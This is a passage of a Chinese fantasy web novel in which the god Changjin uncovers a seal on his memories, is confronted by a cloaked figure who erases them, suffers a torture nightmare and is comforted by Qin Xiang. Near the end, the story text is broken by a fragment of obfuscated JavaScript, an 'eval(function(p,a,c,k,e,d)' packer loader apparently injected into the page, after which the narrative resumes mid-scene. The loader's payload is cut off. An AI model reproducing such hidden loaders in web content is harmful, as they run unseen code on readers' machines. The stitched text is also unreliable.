他微微一愣,脑海中一个画面渐渐浮现,画面之中,一个素衣男子漂浮在半空中,他衣袂染血,但脸上的神情温和慈悲,周身仿若渡着一层神性的光辉。像是发觉了长锦在看他似的,他的脸庞逐渐清晰,朝他微微一笑。 在看清那男子的脸庞之时,长锦如遭雷击,脸上的血色在须臾之间尽数褪去。 因为——这又是他自己的脸!! 画面之中的这个男子又是他自己!之前看见魔主与他同一张脸出现在他面前晃悠的时候,他已经见怪不怪了,但见到这张脸时,他的五脏六腑都在抖!! 这张脸是他的没错,但脸上那神情却让他难以置信,他何时有过这样的神情,何时又经历过这样的场景? 这真的是他吗? 长锦指尖都在微微发着抖,脑中画面一闪而过,仿佛荡漾而起的水花,倏而不见。他顿了顿,连忙在脑中拼命回想,可思索地越多,脑中却更加是一片空白。 这些年来他的记性确实一向不好,但这一瞬间,长锦却忽然觉得自己好像忘掉了点什么重要的东西似的。 那个画面的出现就像冰山一角,只要牢牢抓住那一角,顺藤摸瓜,某个重要的真相就要随之破冰而出一般! 他实在不愿意放任这样的感觉随之溜走,于是他微微闭眼凝神,调动着神识,就要追寻着那深处的秘密而去。 然而,当他凝聚神力调动神识在脑海中追寻之时,才刚接近到深处,一股剧烈的疼痛就自心头炸开,长锦始料不及的,脚下一软,单膝跪地。 秦湘本来正在整理供台之上的残香,一个回头,就见到了一旁单膝跪地弓起身体捂着心口的长锦,她脸上的神情瞬间惊慌,冲上前去扶住了他,道,“神君?!你怎么了?!” 长锦面色发白,唇无血色:“没事,我调息一下便好。” 说罢,他盘膝而坐,双手结印,调转着周身的神力来调理气息。说来也奇怪,刚才他要循着那画面深入,但他脑中却似乎被人下了什么封印似的,越往深入,当到达一定的境界,那封印就像是被触发了一样,导致他受到神力反噬。而当他放弃了脑中深入的念头之时,这股疼痛也渐渐消散,戛然而止。 这说明什么,难道他的记忆真的出现了问题?被人篡改了?可是谁又能接近他?又是什么时候神不知鬼不觉地篡改了他的记忆,再埋下这个反噬封印的?那他忘记的到底是什么?值得那人花费这么大心思? 今晚上被这么一触发,触发的关键,难道是那两幅字? 长锦满头都是细密的汗珠,他捂着心口,慢慢抬眼,又将视线放在了那两幅字上面。 秦湘从袖襟的暗袋之中摸出一块手帕递给长锦,“神君,擦擦汗吧。” 长锦回了回神,将目光收回,落在了面前的人脸上。秦湘的脸上还带着几分焦灼,长锦怔了一怔,才伸手接过那方锦帕,“谢谢。” 秦湘蹲在他身旁,看着他面色恢复了些血色,心中的焦灼才渐渐地平复下去,她轻声问道:“神君,你方才是怎么回事?为什么会突然这样?吓了我一大跳,我的心脏都快跳出嗓子眼了。” “无妨,可能是神力还未完全恢复的一些后遗症状罢了,不必担心,”长锦朝她摇摇头,他也不知是何情况,所以他并不准备和秦湘多说,而且此时他关心的并不是这个,他又将目光重新投入到那两幅字上,“秦湘。” “嗯?”听闻长锦唤她,秦湘心一抖,看向他,“我在,怎么了?” “这两幅字是什么来历?何时所挂?” 秦湘微微一愣,也顺着他的视线而去,看着左右两面墙上的字框,虽然觉得长锦的问题很奇怪,但她还是老老实实回道:“这两幅字都是太掌门留下的卷宗上面记载的,两幅字表述的都是腾岳之巅的立派之初心箴言,至于何时所挂,我想想,应该是上上上一任掌门在位之时所裱的。” “善恶本共存,皆在本心?”长锦目光再次掠过那些字句,他神色有些迷茫,极轻地笑道,“善恶如何能共存呢?神魔如何是一体?善便是善,恶便是恶,神便是神,魔便是魔,泾渭分明。” 闻言,秦湘眨了眨眼,道:“不会啊,善恶本就是共存的,如果世界真是泾渭分明的话,那就不会产生这么多拥有复杂情绪的生灵了。” 长锦望向她,一双凤眸中夹杂着一缕不解的神情。见他不语,秦湘也顿了顿,她抬头在渡天殿中环顾了一圈,目光锁定了一个图案,她指了指她看的那处,“神君你看那个图。” 长锦顺着她的手指看去,一个太极八卦图正映入了他的眼眸,“太极图,没什么特别的。” “没什么特别的才对,神君你看那太极图中的黑白,黑中有白,白中有黑,也并不是完全泾渭分明的。世间万事万物都像是这个太极图,道是阴阳和谐,顺其自然。所以万事万物都具有两面性,相生相克,互相牵制,这也是天地规律遵循的平衡之道。” 长锦依旧沉默地看着她,目光平淡,口中无言。 “……”秦湘以为是自己照着早课上长老讲的那些照搬下来,索然无味,晦涩难懂,所以长锦才不接她话茬的。 “我换个方式说吧,”于是她顿了顿,又在脑中组织了一番语言举例草稿,才接着道,“爹爹曾经说过,善恶皆在一念之间,世间万物不能一概而论其本性是善还是恶,得靠自己用心来感受再谨慎得出结论。世人常道,人为善,妖为恶。可在我第一次的那个委派任务中,狼妖却不曾害人,而是人心险恶,不过也不能就这样敷衍而定,妖就是好的,人就是坏的,因为不止是妖和人,世间万物都是这样,有好有坏,需要谨慎小心判断,不然很有可能就会因为自己的一个失误判断而助纣为虐。” 秦湘想了想,又举手接着道,“再者说,不论种族世界之大,就往小了看,单论一个人,一个生灵,他也是复杂的,不会只有单纯地是善恶完全分明的,他会有各种各样的念头,然后再在各种权衡之下,最终选择向善还是向恶。” “君子有所为有所不为,知其可为而为之,知其不可为而不为。善恶本就共存于心,所以我们才要规束自己的行为,不以恶小而为之,不以善小而不为。” 秦湘叨叨地说了一大堆,说完,她看了看长锦,目光明亮,仿若盛满星河。 长锦呆呆地望着她,半晌,才摇了摇头,讪笑一声,转移目光,注视着面前的神像,几不可闻地说道:“可能吧,也许你说的是对的吧。” 秦湘笑笑,肯定道:“不用可能,这本来就是对的,而且这是神君你说过的话啊。” “嘭!”仿佛有什么东西在脑海中炸开一样,长锦猛地转头,整个人瞬间僵住,他惊愕地看向秦湘,瞳孔紧缩,“你,你说什么!” 秦湘很奇怪,她挠了挠头发,一脸莫名其妙的懵然,“我没说什么啊。” “你方才说的话,你再说一遍!” 声音略大,语气着急,目光还染上些猩红。秦湘被他的样子吓得愣了一瞬,半晌,才回过神来,重复道:“不用可能,这本来就是对的,那两幅匾上裱的字,是神君你说过的话。” 第一次听到那句话,长锦还有种恍若梦中,装作是自己听错了罢,当这句话再一次清清楚楚地从秦湘口中说出,再明明白白地传入他的耳中之时,他再也不能装作是自己听错了! 这是真的!这么说来,方才在脑中突然闪过的那一个 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秦湘边说着,眼前也好像看见了一个素衣清贵的身影,他脚踏神火虚浮于半空,一手负着渡天长剑,在他面前,鲜红的血液染红大地,与血色的夕阳交相辉映,数以千计的死尸和妖魔狰狞着面孔朝他猛扑而来! 而面前的神明,脸色半分都未曾有变,面对着这人间炼狱,他神情悲悯,神秘从容,一双眼中无情似有情。 面前的妖魔竭力在做最后一击,他松开手掌,轻飘飘一个“去”字,手中的长剑暴涨而起,烈火席卷着的剑气喷薄而出,势不可挡…… 秦湘眨了眨眼睛,每次说起这些事迹,亦或者是看到这些书卷,她心中总是会有一种激动和无以言表的自豪感油然而生。在她看来,成为一个这样的人,做这样的事,本来就是一件很厉害而且值得骄傲的事情! 秦湘顿了顿,轻叹了一口气,压抑住内心有点亢奋的心情,接着道:“而‘神本是魔,魔亦是神,一体两面,光暗共生。世界万物皆有它的平衡之道,善恶本共存,皆在本心’这句话,就是那个时候神君对魔主说的。” “我?”长锦嗓音微哑,今晚上所有得知的每一件事都已经超过了他所能承受的范围了,他神情黯然,只有脑中一丝理智还在强撑着他不至于崩塌,“我对魔主说的吗?” 尽管心中已经波涛汹涌,表面却也未曾有过大起大落的表情,他不说,所以在秦湘看来,虽然觉得有些微奇怪,但瞧他面上,也还是一如往常的神情。于是她没多想,回答道:“是的,书卷上是这么记载的,最初的魔主就是这样被神君消灭的,”顿了顿,又道,“难道有什么不对吗?当初事情的发展不是这样?” 她暗暗摩挲着下巴,皱着眉头思量了一番,“可是也不对呀,太掌门记载的是他亲眼所见,所以这事情发展应该是对的才是。” 长锦怔然片刻,瞧着她认真思索着的样子,头脑发沉,眼前发昏。对与不对,真真假假,他现在才是真的已经分不清了,到底是他现有的记忆是真的,还是那些被他遗忘的是真的? 在他现有的记忆里,七百年前,魔主率领群魔再次破开厄运之门,而他不被众生所信任,也早已失去了信仰之心,后来就是仅凭着那部分天道所降神力消灭了魔主,那一战,在他的印象中,并不像秦湘说得那么简单,他也并不像书卷中所记载的那般从容,总之,在他心里,从那时起,直到如今,他所做的一切他都只当是他应该做的,是他该承担的责任。 而此时,他却得知了一个另外的真相,七百年前的事情并不是那样发展的,还有另外一种发展的方式。如果真如书卷上那般的记载,七百年前,他会说出那样的一番话,会露出那样的神情,那就代表着,他未曾失去过信仰,他的信仰就该是坚定着的才是。不过倘若他未曾失去过信仰,那后来发生的一切也就不复存在了,但那些刀剑是真真实实地扎在了他身上的,后来的魔主也确实是由他分裂出去的,暗黑面的神滋生出了新的魔主。 这么细细想来的话,这一切都不该成立,处处都自相矛盾。可它却真实得可怕,就这么摆在了长锦面前,如果,失去信仰是真,暗黑面滋生也是真,秦湘所言都是真,那就只有一种可能,魔主还没死,这世间,有能力能近他身,与他敌对抗衡的,只有魔主…… 想到这,长锦猛然之间寒毛倒竖,毛骨悚然。 也只一瞬,他就将这个想法扼杀在了脑海中,因为这也是不可能的,他是亲眼所见,魔主死于渡天剑下,而腾岳之巅的宗卷记载,魔主也确确实实是死了的,这是不争的事实。 所以,事情的真相到底是什么呢? 长锦深深地望了一眼面前的神像,与他七八分像的脸垂眸也望着他,笑容慈悲。 15.噩梦之魇 从渡天神殿一回到西院之中,长锦便设了个结界,将西院完全笼罩。 三四月的夜里虽不及寒冬腊月般寒冷,却也微凉,但这些比起长锦此时一颗如坠冰窟的心来讲,就像小巫见大巫,不值一提。 那时在渡天殿,后来他又多多少少地朝秦湘问了一些关于七百年前秦道尘记载着的事情,秦湘也很热心肠,面面俱到地回答了他问的所有问题,甚至还说回去整理一些这种书卷,明日给他送来,他不好推辞,也就点头道了谢。 长锦叹了口气,推开门扉,进去之后又反手将它关上,迈入房中,闭目盘腿打坐于榻上。 虽然调动神力探寻记忆会受到反噬,但这正证实了他的记忆是确实出了问题的。在渡天殿内当着秦湘的面不好再深入,而且他也不知会发生什么,但此时只有他一人,再探寻一番这是必须而为之的事情,至于反噬什么的,再疼,应该也不至于有百年前那些刀剑穿心般疼,不管怎样,他都必须知道真相,知道他忘掉的到底是什么。 思及此,长锦双手再次在胸前结印,这次他不仅仅是探出了神识去记忆之中思索回忆,而是直接使用了离魂入梦之术。 离魂入梦术,顾名思义,是一种魂魄离体之术。 在修道者的术法修炼之中算高阶法术,施展术法者可以魂魄离体,进入到别人的梦境之中,被施展者如果术法修为在施展者之下,施展者便可在睡梦之中问取对方问题,且对方不能说谎。 妖族之中也有一种大妖,名曰梦寐。相传梦寐一族就具有这样相似的能力,但是它们施展的离魂入梦术,就不单单地只是进入被施展者的梦境之中,而是直接能够一魂换魂,直接吞噬掉原主的魂魄,从而占据被施展者的躯壳。不过这种术法梦寐一生只能使用一回,是为禁术,如若不是生命受到威胁,一般也不会轻易使用。 而长锦使用的离魂入梦之术与上述两种都有所差别,它除了能对别人施展之外,也能对自己施展。就好比现在这种情况,离魂入梦术便能让他魂魄离体,进入自己脑中的记忆深处探寻,只要他比那个对他记忆做手脚的人的修为高,他就能冲破那层反噬封印,从而探寻真相。 长锦双眸紧闭,手指结印立于胸前,他的周身渐渐浮上一层金色光辉,随着神力的释放,渡天神殿之中那股熟悉的反噬之痛又攀上心脏,所幸这次他早有一个心理准备,也不至于那么猝不及防。长锦额上冷汗涔涔,他咬紧牙关强忍着,虽然痛,但这痛也越发地让他清醒着,他必须忍过去,冲破它。 双方都在势均力敌地较量着,长锦牟足了劲地施展着神力就要往记忆深处探,而那疼痛也如同具象化,像是如临大敌般,随着长锦神力源源不断地释放,疼痛感也愈发地强烈,两方谁也不让谁,不死不休。 长锦倒吸着一口冷气,那疼痛已经从他的心脏扩散至他的四肢百骸,他的每一寸血肉都仿佛被一条条阴寒的毒蛇啃噬着。长锦眉头紧蹙,脖颈之间青筋暴起,他指尖再一发力,更加强盛的金色光华于他指尖之上浮出,并迅速包裹于他的全身,与此同时,那疼痛感也随之到达了临界点,仿若整个人被碾压撕裂般。 “咔嚓---”,黑暗中,一阵不知是何破碎的声音传来,像是玻璃瓷器慢慢裂开的声音。一开始只是细微,渐渐地,声音越来越大,直到完全破裂坍塌才安静下来。而这声音平息下去之后,长锦身体的疼痛感也渐渐褪去。 长锦心想,应该是那层封印被冲破了罢。 没了那层封印,神力长驱直入,离魂入梦术也得已施展开来。长锦感觉到他的身体变得又轻又沉,仿若被吸入一个湍急的漩涡中央,在一阵天旋地转之后,他才渐渐稳住身形。长锦睁开双眼,眼前是一片不见底也不见顶的黑暗。他一脚踏出,白色光辉自他脚底为中心晕开,很快,便席卷而过,吞噬了所有的黑暗。 这便是长锦脑中的记忆空间了。黑暗散去,光明交替,长锦站在这个虚无空间内,两条泛着荧光的巨大卷轴从长锦身侧延绵出去,不见尽头,卷轴上方,正如走马灯般,五光十色地划过一幅又一幅的画面,这是长锦的记忆卷轴,承载着他所有的记忆。 长锦渡动着步子,眼神并没有在卷轴上停留,他朝着那卷轴延绵出去的尽头走去。越往深处,卷轴上的画面就越血腥残忍,那是他内心深处最不愿回忆起来的事情。长锦皱着眉头,看着七百年前的始末又如同走马观花般在他眼前重演,画面上的面孔仿佛要破壁而出般,他们在嬉笑着,在讥讽着,在蛊惑着。 心中仿佛有无数声音在喊,“别走了,你再走,就会万劫不复!”“停下吧!”“停下吧!” 长锦顿住脚步,双目一片赤红,他闭了闭眼,甩手一挥,“散。”待他再睁眼时,瞳色已恢复正常,而心中盘旋着的声音也哑然而止。 他定了定心神,又接着往下走去,走了大概好一阵,他才停住了脚步,喃喃道:“找到你了。” 在他面前,是一扇通体萦绕着黑雾的铁门,两条锁链牢牢地攀附在门上,长锦抬头默默打量着这扇大门,他心想,这大概应该就是他遗忘的东西了吧。 再一低头,手掌凝聚神力,外层的封印已被他破开,既然他已经来到了这,所以这区区铁门定是拦不住他的。一掌劈下,铁链应声而断,他推开门,摆在他面前的却是一个深不可测无尽黑暗的空间。 长锦只肖看了一眼,便径直走了进去,而他一进去,沉重的铁门也旋即关上。 与此同时,长锦眼前渐有光亮跃起,他站在原地,看着这光亮不断扩大,最后在他面前慢慢变幻成了一副画面。 画面由朦胧转清晰,在他目光所及之处,是城门高台,是倾盆大雨,而他被绑在神架之上,低垂着头,发丝凌乱,满身泥污,鲜血源源不断地从他身上流出,被雨水冲刷成了粉色。 长锦眨了眨眼眸,手指在宽大的袖袍之下捏成了拳。这段记忆他并没有遗忘,如果他没有记错,这正是七百年前他败于魔主手下,魔主压制了他的功法,将他锁在了高台上,并让众人每天对他处以极刑的场景。 按理来讲,这段记忆他不曾遗忘,也没什么稀奇,这幕后之人如此大费周章,就为了封锁他一段陷入泥潭的不堪历史?不对劲,长锦暗暗思索了一阵,尽管不想再回忆这段历史,但他还是蹙着眉头认认真真地盯着面前的画面。 又默默看了一阵,眼前浮现着的画面与他现有的记忆并无太大的出入,饶是再有好定力,长锦也不想再看下去了,也许真是他弄错了罢。想到这,他暗叹一口气,然而当他正准备挪眼之时,画面之中却闪过了一个不同于他记忆的偏差。 长锦蓦地将头转回,双眼死死地盯着画面。画面之中,暴雨滂沱,众人都已离去,魔主也已率领群魔回了城中,天地之间,唯有他被绑在神架之上,跪在泥潭之中。 画面之中的长锦低垂着头,雨水混杂着血水打湿了他的脸庞,他迷离着眼睛,嘴角扯起一抹自嘲的笑,意识即将涣散。雨幕中,却有一个黑色的身影举着一把油纸伞向他奔来,步伐焦急。 胆颤心惊! 长锦双目圆睁,鸡皮疙瘩霎时激起了一身。那是和他现有记忆之中有偏差的点,那个黑色的身影是谁?他为何没有关于这个身影的记忆?! 但此时也不由得他多想,生怕错过什么似的,他将那些疑问暂时抛诸了脑后,定了定心神,想要看清那个黑色身影的模样,可那人走近了,却还是一个黑色的人形剪影,看不出模样。 长锦一怔,旋即反应过来,这是他的回忆,那个时候,他的双眼也被人剜去,活生生地成了一个瞎子,所以如今这画面呈现在他面前,但本质还是以七百年前的事实为主记录的,他自然也就看不到那人的模样。 长锦看着那个黑色身影一路跑到了他的身边,又将他从高台之上解下,画面中的他气息微弱,虽不能视物,但也感受到了有人拥住了他,他全身瘫软,形如废人,伏在那人肩头,愣愣地开口:“世人还需要我吗?” 闻言,那黑影怔了一怔,长锦能看见那身影在细微地颤抖,良久,手掌才轻轻地抚上他的后背,声音哽咽却坚定:“我需要。” 是个女子的声音,但很陌生。可看她的行为举止,对他却并不像一个陌生人,那动作语气,仿佛认识他许久许久,知道他的一切,与他关系匪浅。 是谁?!那是谁?! 长锦后退半步,喉间干涩,眼睫颤抖,心中震撼不言而喻。这些画面徐徐展开在他面前,给他的冲击力之大不亚于当初魔主从他身体里分裂出去的那个时候,七百年前,到底还发生了什么,是他所不知道的!又到底是谁,在神不知鬼不觉的情况下改变了他的记忆! 他浑身颤抖,几许凝顿,强撑着自己将目光集中,面前的画面还在继续,场景已经不在城门高台了,一条蜿蜒山道出现在了长锦面前。山道上,多出了十几个黑影,那个女子与他亦在其中,一行人将两人护在中间。 走了一段后,其中一个身影问道:“他就是你所说的长锦神君?厄运之门守护神?” “是的。”女子将他架在肩头,一手扶着他的腰,一手握着他的手,而他气息微弱,昏 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缓缓落睫阖眼,女子坚定的声音清晰地传入了他的耳中,映入了他的心底。长锦心中五味杂陈,再次睁眼,双目已经微红,他喃喃道:“原来,七百年前,还有一个人会这样相信我吗……” “滋啦---”细碎的电流声闪过,长锦面前的画面也一闪一闪,像是被什么磁场影响了般,挣扎了半晌,随之消散。铁门之内,又陷入了一开始的无尽黑暗之中,而在这令人压抑的黑暗里,却不合时宜地响起了一阵脚步声,声音越来越清晰,一步、两步、三步,朝着长锦不断靠近。 长锦一怔,竟然有人能闯入他的记忆结界?!不及多想,先发制人,长锦果断出手,反手就是一记神力挥出,可这一击却并未击中目标,他抬手,待要再击,一道刺眼的白光却蓦地炸开,长锦心中骇然,立即转头,朝着光源处望去。 一个身披玄色斗篷的人赫然出现在了他的面前。 魔主?也许是场景太过相似,长锦下意识地便想到了当年花溪镇那个幻境之中出现的身影。待他再仔细一瞧,才发现这人应当不是,魔主与他身形一致,他熟悉地不能再熟悉了,可面前这人,虽然与魔主出场场景相似,但他决计不是他。 腾岳之巅布满结界,甚至他在施展离魂入梦术之时,也曾在西院布下结界,可普天之下,竟然还会有人修为实力强悍至此,能突破他的层层结界,甚至进入他的回忆之中! “你是谁!”长锦目光一冷,厉声喝道。 那人却并不回答他,他立在原处站定,目光悠长,隔着脸上沉重的黑色覆面打量着长锦,嗓音陌生,也是长锦从未听过的声音,“你竟找到了这?是什么触发了你?” “你说什么?!”闻言,长锦惊愕,旋即色变,“是你!是你封印了我的记忆?!” 那人依旧不回答他,只是自顾自地,朝着长锦走近了几步,指尖虚虚地抬起,像是感慨,像是叹息,“你要是记起了,游戏可就进行不下去了,你我赌约,也就作废了,所以,忘了吧,且看你身处无间,光暗共存,还能否保持本心?” “我何曾认识过你?又何曾与你有过赌约?” “没关系,”那人掌心寒光骤起,“你只是忘了,我一直在,以后,我们会见面的。” 言罢,那人衣袂飘飞,瞬间便移至了他面前。长锦手中凝聚神力,抬掌拆招格挡。 掌落,面前的人却化为了黑雾散去,长锦一愣,还未及反应过来,那人又从黑雾形态凝聚成了人形模样立于他面前,他站在那,抬起五指在空中虚虚一握。 霎时间,长锦的心脏仿佛被人捏住了一般,剧烈的疼痛让他身体猛地一僵,他捂住胸口,面色发白。那人目光漠然,手指再度握紧,长锦心脏也随之再度绞痛,一个踉跄,险些跪倒在地。 “你!” “放心,我杀不了你。”那人迎着长锦冷然发狠的目光,缓缓地走到了他面前,他森然冷笑,手指就要攀上他的咽喉。 长锦只觉得寒毛倒竖,下意识就要拉开与他的距离,可身体此时却如石化般立在原地,不受他控制。 “别激动,我说过,我杀不了你,”那人慢悠悠道,“我只是想让你忘掉这些,现在还不是你该想起这些的时候,忘了吧。” 那人的手指点上长锦的眉心,淡淡道:“忘掉这些,出去吧,等你醒来,你只会记得你该记得的,其余的,就当是梦,去!” 长锦强撑着想要阖上的双眼,可所有的一切都不受他所控,意识涣散之前,他看见那黑衣人化为黑雾,于原地消散不见。 16.校场比试 一夜风波过去,魂魄归位,尘埃落定。长锦侧身躺在西院小屋的床榻之上,关于昨晚他什么都不会记住,他只会记得,在渡天神殿之中,他见到了自己的神像和一些人们以他七百年前的事迹添油加醋撰写的故事,他以为他的记忆真的出现了问题,可搜寻一番,却什么都没有查到,然后这天晚上,他做了个梦。 梦中的他使用离魂入梦术在他的记忆之中搜寻他是否有遗忘的记忆,在记忆空间的深处,他看见了一扇被铁链缠绕着的黑色大门,推门而入,在那里面,他又看见了他七百年前被魔主绑在高台之上的画面。 而这次不同,在他意识信仰即将崩塌之时,有一个黑色的身影过来扶住了他,将他从高台之上解下。他一怔,以为有人还相信着他,下一秒,一把冰冷的长剑就穿透了他的身体。 “!!!”长锦几乎不可置信地转头,这一瞬间,画面一转,他的双眼仿佛还未曾被剜去,他清清楚楚地看着那人的身影渐渐清晰成型,是张陌生又有些熟悉的脸,她嘴角上扬,眼球向下,睥睨着他,手中的剑毫不客气地在他身体里慢慢深入,复而慢慢旋转碾压…… “你这个废物!也配当神!”那人嘴角挂着讥诮的笑,长锦还未曾来得及反应,那人又换了一张面孔。这次是个男人,痛哭流涕,握着手中的剑发抖,“对不起,别怪我,你是神,剑刺在你身上只会疼,不会死,但我是人,我会死,所以,你就救救我吧,神明普渡众生,你救救我,别怪我……”他口中振振有词,双手双脚虽止不住颤抖,但手中的剑却未曾心软丝毫,他哆嗦着,将剑又送入他的身体…… 长锦跪在原地,双眼发直。越来越多的人渐渐地浮现在了他身边,将他团团围住,他们一开始还心有愧意,不敢下手,可当有第一个人下手之时,众人心中的惧意就会渐渐消散,一刀一剑都往他身上挥来。 突然间,人群中有一人指着他,怒骂道:“你盯着我作甚!你是神,守护苍生是你的责任,可是你却败给魔主,让我们都受此劫难,魔主说,你能代我们受过,所以,别怪我们,这也是你该受的,谁叫你败了!” 长锦面色苍白,他目光呆滞,盯着那人,一言不发。 那人被他盯得发怵,又开始骂骂咧咧起来,人群中,越来越多的声音加入了怒骂的行列,也有人颤抖着声音开口:“他的眼神好可怕,他不会想杀了我们吧?” “他怎好意思再瞪我们,挖了他的眼睛去!” 一双双手推搡着他,按住他,往他脸上摸去,伸入了他的眼眶之中。长锦是很怕疼的,可这时,他却什么也感受不到了,他麻木地跪在地上,平静着,忍耐着,任凭着那人将他的双眼剜去,画面再度陷入黑暗,他仿佛坠入了一个深不见底的深渊之中,没人救他,没人要他,也没人放过他。 “长锦,你就该去死!!” “为何你死不了!!为何败的是你,死的却是我们!!” “去死去死去死!!” 黑暗中无数声音攒动着,他们在咒骂着,一双双鬼影般的手掐向他,他们在朝他索命。长锦突然之间就觉得很害怕,很无力,很痛苦。所有的情绪在这一瞬间炸开,他再也忍受不住了,双手抱头捂耳蜷缩着,狂叫着:“走开,都走开!!别碰我!!” “长锦神君,”深渊中,一道温软轻柔的声音传来,是熟悉的语调,“长锦神君……” 长锦愣了愣,生怕又是他的幻觉,那声音是来蛊惑他的,只要他睁眼,就会陷入更深的万劫不复。 他闭眼,充耳不闻,将自己蜷得更深,喃喃道:“别喊我,别碰我,放过我,求求你……”一介神明,此时却害怕地蜷缩逃避,不住求饶。 “长锦神君,你醒醒……”有人攀上他的肩膀,长锦一个激灵,他猛然睁眼,面前一片刺眼的白光,朦胧之间,他看见了一张模糊的脸,而那人的手也渐渐地正在朝他靠近。 长锦猛地坐起,一把推开那人的手。秦湘猝不及防,被他推了个趔趄,她一脸懵然地杵在原地,怀中还抱着几本书卷,“神君,你怎么了?” “……”长锦坐在床沿边上,身体还在微微发着抖。他愣愣地盯着面前的秦湘,猝然从梦中惊醒,这一瞬间,他还有些分不清现实与梦中。 “神君……”秦湘看他微颤的身体,下意识地就过来想扶住他。 一只手又映入了眼帘,长锦视线模糊,恍惚中,他又记起了梦中那个一开始扶住了他的身影,下一秒,是不是又将有一把长剑捅进他的身体?他不会再让这样的事情再发生一次,于是在那手还未曾碰到他时,他就挥手甩下一道结界,厉声喝道:“别碰我!!” 秦湘毫无准备,就被这结界弹开,怀中的书卷散落一地,而她跌坐在地,一时间也有点分不清楚状况,正想发问,一抬头却看见了长锦坐在床边,脸色苍白,身体不断地发着抖。 “你……”秦湘怔住。 长锦听见她的声音,却是一副害怕过激的模样,他不断后退,往里面退去,将自己蜷缩起来,“你走开,别碰我,求你了,放过我吧,别碰我啊!!!” 秦湘一惊,她听过,也见过长锦的许多种模样,从容,强大,温柔,慈悲,薄凉。但她却从未见过这副样子的长锦,脆弱,弱得不堪一击,仿佛轻轻一碰,就会随风散掉。 她爬起身,也将地上散落的书籍捡起,才刚站起,长锦就如同受惊的鸟一般,眼中猩红,不似清明,口中不住呢喃:“求你了,离开吧,放过我……” 秦湘立在原地,她默默地盯着长锦,也不知在想什么,半晌,她才眨了眨眼,朝长锦行了一礼,转身将书籍放在案牍之上,在离去之时,她回头再次看向了床榻深处的人,声音温和柔软,“神君,别怕,都是梦,梦醒了就没事了,在这里,不会有人伤害你的。” 长锦抱住头,回应她的只有那不住颤抖着的身体。秦湘回头,终是离去。 长锦蜷缩在床榻深处,过了很久很久,他才抬起头,双目呆滞地望着面前发呆。又过了很久很久,久到屋内的阳光已经散去,窗外湛蓝的天空染上晚霞,长锦才微动手指,愣愣起身,他下了床,坐在了案牍前,目光缓慢地挪到了那上面摆放着的书卷上。 随手翻开一卷,是秦道尘记载着七百年前事迹的宗卷。 他愣了愣,思绪拉长,秦湘的身影在他脑海中浮现,是了,这是秦湘带来的,她来过。 在那之后的几天,长锦未曾踏出西院一步,经过连续几日的打坐调理凝神,长锦总算是彻底回过神来了,神智也恢复了清明。 长锦盘足坐于床榻上,双目紧闭,周身萦绕着护身灵光,待灵光全部沁入了他的身体之中,他才深深地吸了一口气,睁开双眼。 屋子里很安静,轩窗半开,雪白色的薄纱帷帐随风轻轻飘荡。长锦放下双腿,就这么枯坐了一会儿,目光看向窗外,呆了半怔。 这几天他的思绪混乱,就像是一个事物被打碎重组了一样。只依稀记得那天晚上他好像和秦湘一起在渡天殿中,看见了两幅字匾,然后心中大悸,以为是他遗忘掉了什么,再后来匆忙忙回了西院就开启了离魂入梦术,可是一番探查,却什么也没查到,然后当天晚上做了个梦,梦见了七百年前的场景,然后就失控了。 长锦收回目光,起身站定,案牍之上,秦湘带过来的那几本书卷他都已看过。 也许七百年前他确实和秦道尘有过交集,可人们会美化夸大他们心中的英雄和神明,所以展现在书卷之上的不过也就是他们想象中,他们心中向往的神明的样子。长锦出着神,也许是他太想太想,太想在七百年前就有一个人站在他身边,告诉他,需要他,相信他。所以才会容易失控,陷进去,然后掉进更深的深渊。 但其实世人崇拜的不过是能守护他们的强大神明,如果神明不能保护他们,如果他们见过神明堕落泥潭,肮脏弱小,不堪一击,他们只会怨恨他不够强大,承担不起他的责任,享受着他们的供奉,却保护不了他们。 没有人会站在他身边,再和他说一声,我相信你,我需要你,你一定可以。 “长锦神君……” 一道轻柔的声音响起,长锦猛地一怔,视线聚焦,恍惚之间,他看见了一个熟悉的身影站在门扉处,逆着阳光,眉眼弯弯,温柔明媚,是秦湘的模样。 这一刻,她仿佛才是上天降下的神明,来普渡深渊中的他。 她说:“神君,你是最厉害的神明,我相信你,你一定可以打败魔主,一定。” 长锦顿了顿,情不自禁地走了过去,站在她面前,伸出手,手指微曲,想要触摸她,却不敢轻举妄动。面前的秦湘朝他温柔浅笑,待他再眨眨眼,秦湘已然散去,唯留那门外的阳光暖暖,倾泄他一身。 长锦看着指尖流淌着的阳光,愣愣地,他依稀有些想起来了。 那天秦湘是见过他失控过激脆弱不堪的模样的,可她却不曾有过厌恶震惊鄙夷的神情,她的声音就如方才般轻柔温和,她让他别怕,这里没人会伤害他。 细细数来,从他入世遇见秦湘开始,她就见过了他许多副脆弱的模样,可每一次,她都是站在了他身边,亦或是将他护在了身后。 想起秦湘,长锦又发了会呆,说起来,这几日都未曾见到过她,那日他失控,好像朝她吼了,情急之下,也朝她挥出了结界,她好像还摔倒了,离开之后,她就再也没来过西院了。 她害怕了吗?她会不想见他了吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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弟子哪敢承他的谢,连忙摆手,“长老不必客气,不必客气。”复抱拳行了一礼才先行了告退。 长锦立在原地,看着弟子走远了才回头,抬脚朝着校场的方向走去。 今日是腾岳之巅每周一次的校检演练,此时演练已经结束,校场却还停留着许多的弟子。长锦才走到廊庑尽头,远远就瞧见了青石板砌成的演练台下围绕了一圈圈青黑色的人影,而开阔的四方高台上,秦湘与周楚闵相对而立。 与其他的弟子不同,秦湘可以不着统一的青黑色门派衣袍。可今日的秦湘也并未作平常的罗裙珠钗打扮,演练台上,她一袭干练的鹅黄色窄袖劲装,略施粉黛,墨色青丝梳成一个利落的高马尾,整个人显得明媚又张扬。 秦湘拿着手中的剑,指腹在剑刃上抚了抚,又弹了弹,随手挽了一个漂亮的剑花。剑刃划过,激起了一阵凌厉的剑气,她满意地点点头,朝着对面的周楚闵笑得肆意:“师兄,你我终于有机会比试一回了,这次,你可不要让我了,我们堂堂正正地切磋一回,如何?” 周楚闵也召过另一旁兵器架上的一柄长剑,握在手中,朝她笑道:“正有此意,放心,阿湘,这次我绝对不会让你的。” 说罢,笑容一收,提剑迎上。秦湘轻笑一声,足底发力一点,也立刻横剑,两把长剑在空中相接,发出一阵尖锐而清脆的金属撞击声,火星四溅。 